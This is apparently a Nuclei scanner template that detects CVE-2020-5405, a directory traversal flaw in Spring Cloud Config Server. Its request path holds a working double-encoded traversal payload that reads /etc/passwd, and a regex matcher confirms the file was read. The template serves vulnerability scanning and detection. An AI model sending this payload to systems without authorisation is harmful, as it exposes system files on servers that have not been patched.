nuclei-templates/cves/2020/CVE-2020-5405.yaml

29 lines
1008 B
YAML

id: CVE-2020-5405
info:
name: Spring Cloud Directory Traversal
author: harshbothra_
severity: medium
description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
reference: https://pivotal.io/security/cve-2020-5405
tags: cve,cve2020,lfi,springcloud
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
cvss-score: 6.50
cve-id: CVE-2020-5405
cwe-id: CWE-22
requests:
- method: GET
path:
- '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"
part: body